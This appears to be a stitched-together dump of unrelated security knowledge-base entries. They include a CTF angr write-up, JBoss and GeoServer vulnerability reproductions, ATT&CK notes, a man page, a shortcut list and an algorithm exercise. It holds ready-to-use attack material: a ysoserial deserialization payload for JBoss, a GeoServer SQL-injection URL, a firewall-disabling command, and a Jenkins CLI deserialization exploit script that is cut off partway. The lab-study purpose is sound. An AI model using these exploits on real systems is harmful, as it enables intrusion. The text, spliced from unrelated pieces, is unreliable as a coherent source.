putchar(0x2e); uStack160 = 0x101382; fflush(stdout); uStack160 = 0x10138c; sleep(1); uStack160 = 0x101396; putchar(0x2e); uStack160 = 0x1013a5; fflush(stdout); uStack160 = 0x1013af; sleep(1); uStack160 = 0x1013bb; puts("."); uStack160 = 0x1013ca; fflush(stdout); uStack160 = 0x1013d4; sleep(1); uStack160 = 0x1013e7; uVar2 = f2(user_input[32],0xf); if ((int)uVar2 == 0) { uStack160 = 0x101402; uVar2 = f4(user_input[27],6); if ((int)uVar2 == 0) { uStack160 = 0x101420; uVar2 = f2(user_input[11],5); if ((int)uVar2 == 0) { uStack160 = 0x10143e; uVar2 = f2(user_input[6],0xd); if ((int)uVar2 == 0) { uStack160 = 0x101459; uVar2 = f1(user_input[31],2); if ((int)uVar2 == 0) { uStack160 = 0x101474; uVar2 = f4(user_input[19],0xc); if ((int)uVar2 == 0) { uStack160 = 0x10148f; uVar2 = f2(user_input[41],0); if ((int)uVar2 == 0) { uStack160 = 0x1014aa; uVar2 = f1(user_input[16],3); if ((int)uVar2 == 0) { uStack160 = 0x1014c5; uVar2 = f2(user_input[24],0xc); if ((int)uVar2 == 0) { uStack160 = 0x1014e0; uVar2 = f2(user_input[42],0xf); if ((int)uVar2 == 0) { uStack160 = 0x1014fe; uVar2 = f1(user_input[10],6); if ((int)uVar2 == 0) { uStack160 = 0x101519; uVar2 = f3(user_input[33],9); if ((int)uVar2 == 0) { uStack160 = 0x101537; uVar2 = f2(user_input[10],0xd); if ((int)uVar2 == 0) { uStack160 = 0x101552; uVar2 = f3(user_input[21],0xb); if ((int)uVar2 == 0) { uStack160 = 0x10156d; uVar2 = f1(user_input[28],7); if ((int)uVar2 == 0) { uStack160 = 0x10158b; uVar2 = f3(user_input[11],9); if ((int)uVar2 == 0) { uStack160 = 0x1015a6; uVar2 = f1(user_input[34],6); if ((int)uVar2 == 0) { uStack160 = 0x1015c1; uVar2 = f4(user_input[16],0xb); if ((int)uVar2 == 0) { uStack160 = 0x1015dc; uVar2 = f2(user_input[31],4); if ((int)uVar2 == 0) { uStack160 = 0x1015fa; uVar2 = f4(user_input[5],0xf); if ((int)uVar2 == 0) { uStack160 = 0x101615; uVar2 = f2(user_input[17],4); if ((int)uVar2 == 0) { uStack160 = 0x101630; uVar2 = f1(user_input[19],6); if ((int)uVar2 == 0) { uStack160 = 0x10164b; uVar2 = f1(user_input[35],3); if ((int)uVar2 == 0) { uStack160 = 0x101669; uVar2 = f3(user_input[5],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101684; uVar2 = f2(user_input[43],0xd); if ((int)uVar2 == 0) { uStack160 = 0x10169f; uVar2 = f3(user_input[25],8); if ((int)uVar2 == 0) { uStack160 = 0x1016ba; uVar2 = f4(user_input[30],6); if ((int)uVar2 == 0) { uStack160 = 0x1016d5; uVar2 = f3(user_input[27],9); if ((int)uVar2 == 0) { uStack160 = 0x1016f0; uVar2 = f2(user_input[22],0xe); if ((int)uVar2 == 0) { uStack160 = 0x10170b; uVar2 = f1(user_input[29],5); if ((int)uVar2 == 0) { uStack160 = 0x101726; uVar2 = f2(user_input[29],0xf); if ((int)uVar2 == 0) { uStack160 = 0x101744; uVar2 = f3(user_input[6],9); if ((int)uVar2 == 0) { uStack160 = 0x101762; uVar2 = f2(user_input[15],4); if ((int)uVar2 == 0) { uStack160 = 0x101780; uVar2 = f2(user_input[3],0xb); if ((int)uVar2 == 0) { uStack160 = 0x10179b; uVar2 = f1(user_input[39],5); if ((int)uVar2 == 0) { uStack160 = 0x1017b9; uVar2 = f2(user_input[9],1); if ((int)uVar2 == 0) { uStack160 = 0x1017d7; uVar2 = f4(user_input[1], 0xc); if ((int)uVar2 == 0) { uStack160 = 0x1017f2; uVar2 = f3(user_input [42],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101810; uVar2 = f2(user_input [4],3); if ((int)uVar2 == 0) { uStack160 = 0x10182e ; uVar2 = f3( user_input[3],8); if ((int)uVar2 == 0) { uStack160 = 0x10184c; uVar2 = f3(user_input[9],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101867; uVar2 = f4(user_input[38],7); if ((int)uVar2 == 0) { uStack160 = 0x101882; uVar2 = f3(user_input[18],9); if ((int)uVar2 == 0) { uStack160 = 0x1018a0; uVar2 = f3(user_input[12],10); if ((int)uVar2 == 0) { uStack160 = 0x1018bb; uVar2 = f1(user_input[36],5); if ((int)uVar2 == 0) { uStack160 = 0x1018d9; uVar2 = f1(user_input[13],5); if ((int)uVar2 == 0) { uStack160 = 0x1018f4; uVar2 = f3(user_input[30],9); if ((int)uVar2 == 0) { uStack160 = 0x101912; uVar2 = f4(user_input[13],0); if ((int)uVar2 == 0) { uStack160 = 0x10192d; uVar2 = f4(user_input[39],0); if ((int)uVar2 == 0) { uStack160 = 0x101948; uVar2 = f4(user_input[20],0); if ((int)uVar2 == 0) { uStack160 = 0x101966; uVar2 = f1(user_input[14],5) ; if ((int)uVar2 == 0) { uStack160 = 0x101984; uVar2 = f3(user_input[15], 8); if ((int)uVar2 == 0) { uStack160 = 0x10199f; uVar2 = f3(user_input [32],10); if ((int)uVar2 == 0) { uStack160 = 0x1019ba; uVar2 = f1(user_input [26],5); if ((int)uVar2 == 0) { uStack160 = 0x1019d5 ; uVar2 = f1( user_input[43],7); if ((int)uVar2 == 0) { uStack160 = 0x1019f0; uVar2 = f4(user_input[33],10); if ((int)uVar2 == 0) { uStack160 = 0x101a0b; uVar2 = f1(user_input[37],6); if ((int)uVar2 == 0) { uStack160 = 0x101a26; uVar2 = f3(user_input[17],8); if ((int)uVar2 == 0) { uStack160 = 0x101a41; uVar2 = f2(user_input[26],3); if ((int)uVar2 == 0) { uStack160 = 0x101a5f; uVar2 = f1(user_input[7],3); if ((int)uVar2 == 0) { uStack160 = 0x101a7a; uVar2 = f3(user_input[38],9); if ((int)uVar2 == 0) { uStack160 = 0x101a95; uVar2 = f3(user_input[40],9); if ((int)uVar2 == 0) { uStack160 = 0x101ab3; uVar2 = f3(user_input[2],0xb); if ((int)uVar2 == 0) { uStack160 = 0x101ace; uVar2 = f2(user_input[35],0); if ((int)uVar2 == 0) { uStack160 = 0x101ae9; uVar2 = f3(user_input[22],9); if ((int)uVar2 == 0) { uStack160 = 0x101b04; uVar2 = f4(user_input[23], 0xb); if ((int)uVar2 == 0) { uStack160 = 0x101b1f; uVar2 = f4(user_input[18], 6); if ((int)uVar2 == 0) { uStack160 = 0x101b3a; uVar2 = f4(user_input [28],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101b55; uVar2 = f4(user_input [25],6); if ((int)uVar2 == 0) { uStack160 = 0x101b70 ; uVar2 = f4( user_input[37],8); if ((int)uVar2 == 0) { uStack160 = 0x101b8e; uVar2 = f1(user_input[1],4); if ((int)uVar2 == 0) { uStack160 = 0x101bac; uVar2 = f3(user_input[4],10); if ((int)uVar2 == 0) { uStack160 = 0x101bca; uVar2 = f4(user_input[14],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101be5; uVar2 = f3(user_input[20],10); if ((int)uVar2 == 0) { uStack160 = 0x101c03; uVar2 = f3(user_input[8],10); if ((int)uVar2 == 0) { uStack160 = 0x101c21; uVar2 = f2(user_input[7],3); if ((int)uVar2 == 0) { uStack160 = 0x101c3c; uVar2 = f4(user_input[40],1); if ((int)uVar2 == 0) { uStack160 = 0x101c5a; uVar2 = f4(user_input[0],2); if ((int)uVar2 == 0) { uStack160 = 0x101c75; uVar2 = f3(user_input[24],9); if ((int)uVar2 == 0) { uStack160 = 0x101c90; uVar2 = f1(user_input[41],3); if ((int)uVar2 == 0) { uStack160 = 0x101cab; uVar2 = f2(user_input[36],5) ; if ((int)uVar2 == 0) { uStack160 = 0x101cc6; uVar2 = f2(user_input[21], 1); if ((int)uVar2 == 0) { uStack160 = 0x101ce4; uVar2 = f4(user_input[2] ,3); if ((int)uVar2 == 0) { uStack160 = 0x101cff; uVar2 = f1(user_input [23],3); if ((int)uVar2 == 0) { uStack160 = 0x101d1d ; uVar2 = f4( user_input[8],0xb); if ((int)uVar2 == 0) { uStack160 = 0x101d3b; uVar2 = f3(user_input[0],0xb); if ((int)uVar2 == 0) { uStack160 = 0x101d59; uVar2 = f4(user_input[12],0xc); if ((int)uVar2 == 0) { uStack160 = 0x101d74; uVar2 = f4(user_input[34],1); if ((int)uVar2 == 0) { uStack160 = 0x101d88; puts("Sucess!"); goto LAB_00101f2d; } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } uStack160 = 0x101f28; puts("Wrong! try again..."); LAB_00101f2d: if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ uStack160 = 0x101f41; __stack_chk_fail(); } ``` That looks horrible to reverse, we have no choice but to turn to black magic: [angr](https://angr.io/). > angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic ("concolic") analysis, making it applicable to a variety of tasks. Using a simple python program such as we'll soon see, we can ask `angr` to perform a symbolic execution of the code and find the input for a code path that takes us to the desired output. We just need to figure out the length of the flag, and based on the fact that `user_input[43]` is the last array index used, we'll guess that it's 44 characters long. Here's the `angr` script: ```python import sys import angr import claripy FLAG_LEN = 44 base_addr = 0x100000 # To match addresses to Ghidra proj = angr.Project("./modus_tollens", main_opts={'base_addr': base_addr}) flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(FLAG_LEN)] flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) # Add \n for fgets() to accept the input state = proj.factory.full_init_state( args=['./modus_tollens'], add_options=angr.options.unicorn, stdin=flag, ) # Add constraints that all characters are printable for k in flag_chars: state.solver.add(k >= ord('!')) state.solver.add(k <= ord('~')) simgr = proj.factory.simulation_manager(state) simgr.explore( find = lambda st: b'Sucess!' in st.posix.dumps(sys.stdout.fileno()), avoid = lambda st: b'Wrong!' in st.posix.dumps(sys.stdout.fileno()) ) for found in simgr.found: print(found.posix.dumps(sys.stdin.fileno()).decode("ascii")) ``` In high-level, the script creates a string composed of 44 symbolic bit vectors (BVS) - one for each character of the flag. It connects the string to the program's `stdin`. It adds constraints so that the string is composed of printable characters only. Finally, it performs a symbolic execution of the code by analyzing the binary (not running the code) while searching for a code path that will print `'Sucess!'` and trying to avoid a code path that will print `'Wrong!'`. Output: ```console root@kali:/media/sf_CTFs/matrix/Modus_Tollens# source ~/.virtualenvs/angr/bin/activate (angr) root@kali:/media/sf_CTFs/matrix/Modus_Tollens# python3 angr.py WARNING | 2021-02-27 22:21:22,373 | angr.simos.simos | stdin is constrained to 45 bytes (has_end=True). If you are only providing the first 45 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False). WARNING | 2021-02-27 22:21:22,445 | angr.exploration_techniques.explorer | Using unicorn with find/avoid conditions that are a lambda (not a number, set, tuple or list) WARNING | 2021-02-27 22:21:22,445 | angr.exploration_techniques.explorer | Unicorn may step over states that match the condition (find or avoid) without stopping. MCL{S0m3T1meS_St4tic_An4lySis_i$_en0Ugh_n0?} (angr) root@kali:/media/sf_CTFs/matrix/Modus_Tollens# deactivate ``` Black magic indeed: ```console root@kali:/media/sf_CTFs/matrix/Modus_Tollens# ./modus_tollens Enter flag: MCL{S0m3T1meS_St4tic_An4lySis_i$_en0Ugh_n0?} Checking ... Sucess! ```
sec-knowleage
# JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504) Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。 参考: - https://github.com/joaomatosf/JavaDeserH2HC - https://www.youtube.com/watch?v=jVMr4eeJ2Po ## 漏洞环境 执行如下命令启动JBoss AS 4.0.5: ``` docker compose up -d ``` 环境启动后,目标为`http://your-ip:8080`。 ## 漏洞复现 该漏洞出现在`/jbossmq-httpil/HTTPServerILServlet`请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload: ``` java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser ``` 我们将1.ser文件内容作为POST Body发送: ``` curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser ``` ![](1.png) 执行`docker compose exec jboss bash`进入容器,可见`/tmp/success`已成功创建。
sec-knowleage
<?php include 'common.php'; if(isset($_POST['submit']) && isset($_POST['width']) && isset($_POST['height'])) { $width = (int)$_POST['width']; $height = (int)$_POST['height']; if($width <= 0 || $width > MAX_IM_SIZE) { fatal('Invalid width'); } else if($height <= 0 || $height > MAX_IM_SIZE) { fatal('Invalid height'); } $im = imagecreatetruecolor($width, $height); if(!$im) { fatal('Failed to create image.'); } $bgcolor = imagecolorallocate($im, 255, 255, 255); imagefill($im, 0, 0, $bgcolor); imagetruecolortopalette($im, false, 256); imagesavealpha($im, false); $imagekey = create_image_key(); save_image($im, $imagekey); imagedestroy($im); header("Location: ?op=edit&imagekey=$imagekey"); } else { ?> <div class="article"> <h2>Create your new pixel art!</h2> <form action="?op=new" method="POST"> <label for="width">Image width (max <?=MAX_IM_SIZE;?>):</label> <input type="number" id="width" name="width" value="<?=MAX_IM_SIZE;?>" min="1" max="<?=MAX_IM_SIZE;?>" /> <br /> <label for="height">Image height (max <?=MAX_IM_SIZE;?>):</label> <input type="number" id="height" name="height" value="<?=MAX_IM_SIZE;?>" min="1" max="<?=MAX_IM_SIZE;?>" /> <br /> <input type="submit" name="submit" value="Create!" /> </form> </div><?php } ?>
sec-knowleage
# T1562-001-windows-停止Windows防御服务 ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 间谍软件和恶意软件仍然是一个严重的问题,微软开发了安全服务即Windows Defender和Windows防火墙,协助用户对抗这种威胁。如果关闭Windows Defender或Windows防火墙,应当引起管理员的注意,立即恢复windows Defender或windows防火墙,使其处于正常工作状态,调查并确定异常情况是否由用户正常操作引起的。 ## 测试案例 windows 7 DOS命令关闭windows防火墙:netsh advfilewall set publicprofile state off ## 检测日志 windows system ## 测试复现 windows关闭防火墙的方法有很多,但事件ID只有一个。 - net start mpssvc - netsh advfilewall set publicprofile state off ## 测试留痕 windows system事件ID7036 ## 检测规则/思路 ### sigma规则 ```yml title: 停止Windows防御服务 description: win7 模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: system detection: ​ selection: ​ EventID: 7036 ​ Message: 'Windows Firewall 服务处于 停止 状态。' ​ condition: selection level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1562-001 <https://attack.mitre.org/techniques/T1562/001/>
sec-knowleage
# 14. 剪绳子 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/57d85990ba5b440ab888fc72b0751bf8?tpId=13&tqId=33257&tab=answerKey&from=cyc_github) ## 题目描述 把一根绳子剪成多段,并且使得每段的长度乘积最大。 ```html n = 2 return 1 (2 = 1 + 1) n = 10 return 36 (10 = 3 + 3 + 4) ``` ## 解题思路 ### 贪心 尽可能得多剪长度为 3 的绳子,并且不允许有长度为 1 的绳子出现。如果出现了,就从已经切好长度为 3 的绳子中拿出一段与长度为 1 的绳子重新组合,把它们切成两段长度为 2 的绳子。以下为证明过程。 将绳子拆成 1 和 n-1,则 1(n-1)-n=-1\<0,即拆开后的乘积一定更小,所以不能出现长度为 1 的绳子。 将绳子拆成 2 和 n-2,则 2(n-2)-n = n-4,在 n\>=4 时这样拆开能得到的乘积会比不拆更大。 将绳子拆成 3 和 n-3,则 3(n-3)-n = 2n-9,在 n\>=5 时效果更好。 将绳子拆成 4 和 n-4,因为 4=2\*2,因此效果和拆成 2 一样。 将绳子拆成 5 和 n-5,因为 5=2+3,而 5\<2\*3,所以不能出现 5 的绳子,而是尽可能拆成 2 和 3。 将绳子拆成 6 和 n-6,因为 6=3+3,而 6\<3\*3,所以不能出现 6 的绳子,而是拆成 3 和 3。这里 6 同样可以拆成 6=2+2+2,但是 3(n - 3) - 2(n - 2) = n - 5 \>= 0,在 n\>=5 的情况下将绳子拆成 3 比拆成 2 效果更好。 继续拆成更大的绳子可以发现都比拆成 2 和 3 的效果更差,因此我们只考虑将绳子拆成 2 和 3,并且优先拆成 3,当拆到绳子长度 n 等于 4 时,也就是出现 3+1,此时只能拆成 2+2。 ```java public int cutRope(int n) { if (n < 2) return 0; if (n == 2) return 1; if (n == 3) return 2; int timesOf3 = n / 3; if (n - timesOf3 * 3 == 1) timesOf3--; int timesOf2 = (n - timesOf3 * 3) / 2; return (int) (Math.pow(3, timesOf3)) * (int) (Math.pow(2, timesOf2)); } ``` ### 动态规划 ```java public int cutRope(int n) { int[] dp = new int[n + 1]; dp[1] = 1; for (int i = 2; i <= n; i++) for (int j = 1; j < i; j++) dp[i] = Math.max(dp[i], Math.max(j * (i - j), dp[j] * (i - j))); return dp[n]; } ```
sec-knowleage
--- title: Transmit date: 2022-11-23 16:23:31.695841 background: bg-[#646fed] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 62 keyboard shortcuts found in Transmit. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### Transmit Menu Shortcut | Action ---|--- `Cmd` `,` | Preferences... `Cmd` `H` | Hide Transmit `Cmd` `Opt` `H` | Hide others `Cmd` `Q` | Quit Transmit `Cmd` `Opt` `Q` | Quit and close all windows {.shortcuts} ### File Menu {.row-span-2} Shortcut | Action ---|--- `Cmd` `N` | New window `Cmd` `T` | New tab `Cmd` `Shift` `N` | New folder `Cmd` `Opt` `N` | New file `Cmd` `W` | Close tab `Cmd` `Shift` `W` | Close window `Cmd` `Opt` `W` | Close all `Cmd` `E` | Disconnect `Cmd` `O` | Open `Cmd` `S` | Save `Cmd` `B` | Preview in browser `Cmd` `I` | Get info `Cmd` `Opt` `I` | Show inspector `Cmd` `D` | Duplicate `Cmd` `Y` | Quick look at selected-file `Cmd` `P` | Print... {.shortcuts} ### Edit Menu Shortcut | Action ---|--- `Cmd` `Z` | Undo `Cmd` `Shift` `Z` | Redo `Cmd` `X` | Cut `Cmd` `C` | Copy `Cmd` `V` | Paste `Cmd` `A` | Select all `Cmd` `J` | Jump to selection `Cmd` `:` | Show spelling and grammar `Cmd` `;` | Check spelling {.shortcuts} ### View Menu Shortcut | Action ---|--- `Cmd` `L` | Show transfers `Cmd` `Opt` `L` | Show transfers window `Cmd` `1` | View as thumbnails `Cmd` `2` | View as list `Cmd` `3` | View as columns `Cmd` `4` | View as cover flow `Cmd` `R` | Refresh `Cmd` `Shift` `B` | Show invisible files `Cmd` `Shift` `S` | Hide places bar `Cmd` `Shift` `J` | Show view options `Cmd` `Ctrl` `F` | Enter full screen `Cmd` `Opt` `Left` | Focus on local `Cmd` `Opt` `Right` | Focus on remote {.shortcuts} ### Go Menu Shortcut | Action ---|--- `Cmd` `[` | Back `Cmd` `]` | Forward `Cmd` `Up` | Enclosing folder `Cmd` `Opt` `G` | Go to folder... `Cmd` `Opt` `T` | Open in terminal `Cmd` `Shift` `L` | Link folder navigation `Cmd` `K` | Connect to last used protocol {.shortcuts} ### Transfer Menu Shortcut | Action ---|--- `Cmd` `Shift` `R` | Transfer selected items `Cmd` `Opt` `Shift` `R` | Transfer selected items without rules `Cmd` `.` | Cancel {.shortcuts} ### Servers Menu Shortcut | Action ---|--- `Cmd` `Shift` `A` | Add new server `Cmd` `Shift` `F` | Show quick connect `Cmd` `Shift` `I` | Edit server {.shortcuts} ### Window Menu Shortcut | Action ---|--- `Cmd` `M` | Minimize `Cmd` `Opt` `M` | Minimize all `Ctrl` `Tab` | Select next tab `Ctrl` `Shift` `Tab` | Select previous tab `Cmd` `Ctrl` `T` | Transcript `Cmd` `Opt` `I` | Show inspector {.shortcuts} Also see -------- - [Keyboard shortcuts for the Transmit app](https://library.panic.com/transmit/transmit5/shortcuts/) _(library.panic.com)_
sec-knowleage
# GeoServer OGC Filter SQL注入漏洞(CVE-2023-25157) GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。 在版本2.22.1和2.21.4及以前,多个OGC表达式中均存在SQL注入漏洞。 参考链接: - <https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158> - <https://github.com/advisories/GHSA-7g5f-wrx8-5ccf> ## 漏洞环境 执行如下命令启动一个GeoServer 2.22.1: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080/geoserver`即可查看到GeoServer的首页。 ## 漏洞复现 在利用漏洞前,需要目标服务器中存在类型是PostGIS的数据空间(datastore)和工作空间(workspace)。在Vulhub中,已经包含满足条件的工作空间,其信息如下: - Workspace name: `vulhub` - Data store name: `pg` - Feature type (table) name: `example` - One of attribute from feature type: `name` 利用这些已知参数,发送如下URL即可触发SQL注入漏洞: ``` http://your-ip:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true ``` ![](1.png) 可见,已经使用SQL注入获取到了目标服务器PostgreSQL的版本。
sec-knowleage
.\" Copyright 1993 Rick Sladkey <jrs@world.std.com> .TH SHOWMOUNT 8 "11 August 1997" .SH NAME showmount \- 显示关于 NFS 服务器文件系统挂载的信息 .SH 总览 .ad l .B /usr/sbin/showmount .B "[\ \-adehv\ ]" .B "[\ \-\-all\ ]" .B "[\ \-\-directories\ ]" .B "[\ \-\-exports\ ]" .B "[\ \-\-help\ ]" .B "[\ \-\-version\ ]" .B "[\ host\ ]" .ad b .SH 描述 .B showmount showmount 在远程主机上查询关于该 NFS 服务器的挂载进程状态。 如果不使用任何参数, .B showmount 显示所有从该服务器上挂载到本地的客户清单。 .B showmount 的输出格式设计成类似于经过 ``sort -u'' 命令格式化后一样。 .SH 选项 .TP .BR \-a 或 \-\-all 以 host:dir 这样的格式来显示客户主机名和挂载点目录。 .TP .BR \-d 或 \-\-directories 仅显示被客户挂载的目录名。 .TP .BR \-e 或 \-\-exports 显示NFS服务器的输出清单。 .TP .BR \-h 或 \-\-help 显示帮助信息。 .TP .BR \-v 或 \-\-version 显示版本信。 .TP .B \-\-no\-headers 禁止输出描述头部信息。 .SH 参见 .BR rpc.mountd (8), .BR rpc.nfsd (8) .SH BUGS .B showmount 所显示输出内容的完整性和准确性将视 NFS 实现的好坏而定。 .PP 由于 .B showmount 的输出是唯一的和经过排序的, 所以无法列出当前挂载点目录是否被挂载一次以上。 .SH 作者 .B Rick Sladkey <jrs@world.std.com> .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" .B 2001/05/01 .SH 《中国Linux论坛man手册页翻译计划》: .B http://cmpp.linuxforum.net
sec-knowleage
# T1592-004-收集目标组织主机信息-客户端配置 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集有关受害者的客户端配置信息,这些信息可以在目标定位期间使用。有关客户端配置的信息可能包括各种详细信息和设置,包括操作系统/版本,虚拟化,体系结构(例如:32位或64位),语言或时区。 攻击者可以通过各种方式收集此信息,例如通过[主动扫描](https://contribute.knowledge.qihoo.net/detail/technique/T1595)(例如:主机名,服务器旗标,用户代理字符串)、 [钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)。攻击者还可能入侵站点,然后植入旨在收集访问者客户端配置信息的恶意内容(引自:ATT ScanBox)。有关硬件基础设施的信息也可能通过在线或其他可访问的数据集(例如:职位发布,网络地图,评估报告,履历表或购买发票)暴露给攻击者。收集这些信息可能为其他形式的侦察提供可能性(例如:[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593),或者搜[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[供应链攻陷](https://contribute.knowledge.qihoo.net/detail/technique/T1195)或[外部远程服务](https://contribute.knowledge.qihoo.net/detail/technique/T1133))。 ## 测试案例 beef-信息收集 ## 检测日志 无 ## 测试复现 ![beef钓鱼](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/21ba32fa0abdf51722bdf60caeadca69_1119x437.png) ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1592-001-收集目标组织主机信息-硬件信息]] [[T1592-002-收集目标组织主机信息-软件信息]] [[T1592-003-收集目标组织主机信息-固件信息]] ## 参考推荐 MITRE-ATT&CK-T1592-004 <https://attack.mitre.org/techniques/T1592/004/> beef-渗透工具使用指南 <https://www.kancloud.cn/wintry/p-tools/598539>
sec-knowleage
### [第八十一课:基于白名单Rundll32.exe执行payload第十一季](../Chapter1/81-90/81_基于白名单Rundll32.exe执行payload第十一季.md) ### [第八十二课:基于白名单Odbcconf执行payload第十二季](../Chapter1/81-90/82_基于白名单Odbcconf执行payload第十二季.md) ### [第八十三课:基于白名单PsExec执行payload第十三季 ](../Chapter1/81-90/83_基于白名单PsExec执行payload第十三季.md) ### [第八十四课:基于白名单Forfiles执行payload第十四季](../Chapter1/81-90/84_基于白名单Forfiles执行payload第十四季.md) ### [第八十五课:基于白名单Pcalua执行payload第十五季](../Chapter1/81-90/85_基于白名单Pcalua执行payload第十五季.md) ### [第八十六课:基于白名单Msiexec执行payload第八季补充](../Chapter1/81-90/86_基于白名单Msiexec执行payload第八季补充.md) ### [第八十七课:基于白名单Cmstp.exe执行payload第十六季](../Chapter1/81-90/87_基于白名单Cmstp.exe执行payload第十六季.md) ### [第八十八课:基于白名单Ftp.exe执行payload第十九季](../Chapter1/81-90/88_基于白名单Ftp.exe执行payload第十九季.md) ### [第八十九课:基于白名单Url.dll执行payload第十七季](../Chapter1/81-90/89_基于白名单Url.dll执行payload第十七季.md) ### [第九十课:基于白名单zipfldr.dll执行payload第十八季](../Chapter1/81-90/90_基于白名单zipfldr.dll执行payload第十八季.md)
sec-knowleage
#! /usr/bin/env python2 #Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103) #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import socket import sys import base64 import argparse import os from subprocess import check_output ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar'] ysoserial_path = None parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help='Target IP:PORT') parser.add_argument('command', type=str, help='Command to run on target') parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)') parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)') if len(sys.argv) < 2: parser.print_help() sys.exit(1) args = parser.parse_args() if not args.ysoserial_path: for path in ysoserial_default_paths: if os.path.exists(path): ysoserial_path = path else: if os.path.exists(args.ysoserial_path): ysoserial_path = args.ysoserial_path if ysoserial_path is None: print("[-] Could not find ysoserial JAR file") sys.exit(1) if len(args.target.split(':')) != 2: print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: print('[-] You must specify a command to run') sys.exit(1) host, port = args.target.split(':') print('[*] Target IP: {}'.format(host)) print('[*] Target PORT: {}'.format(port)) print('\n') print('[*] Retrieving the Jenkins CLI port') #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('{}://{}:{}'.format(args.proto, host, port)) cli_port = int(r.headers['X-Jenkins-CLI-Port']) #Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port)) sock.connect(server_address) # Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' print('[*] Sending headers') sock.send(headers) data = sock.recv(1024) print('[*] Received "{}"'.format(data)) if data.find('JENKINS REMOTING CAPACITY') == -1: data = sock.recv(1024) print('[*] Received "{}"'.format(data)) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command]) payload_b64 = base64.b64encode(payloadObj) 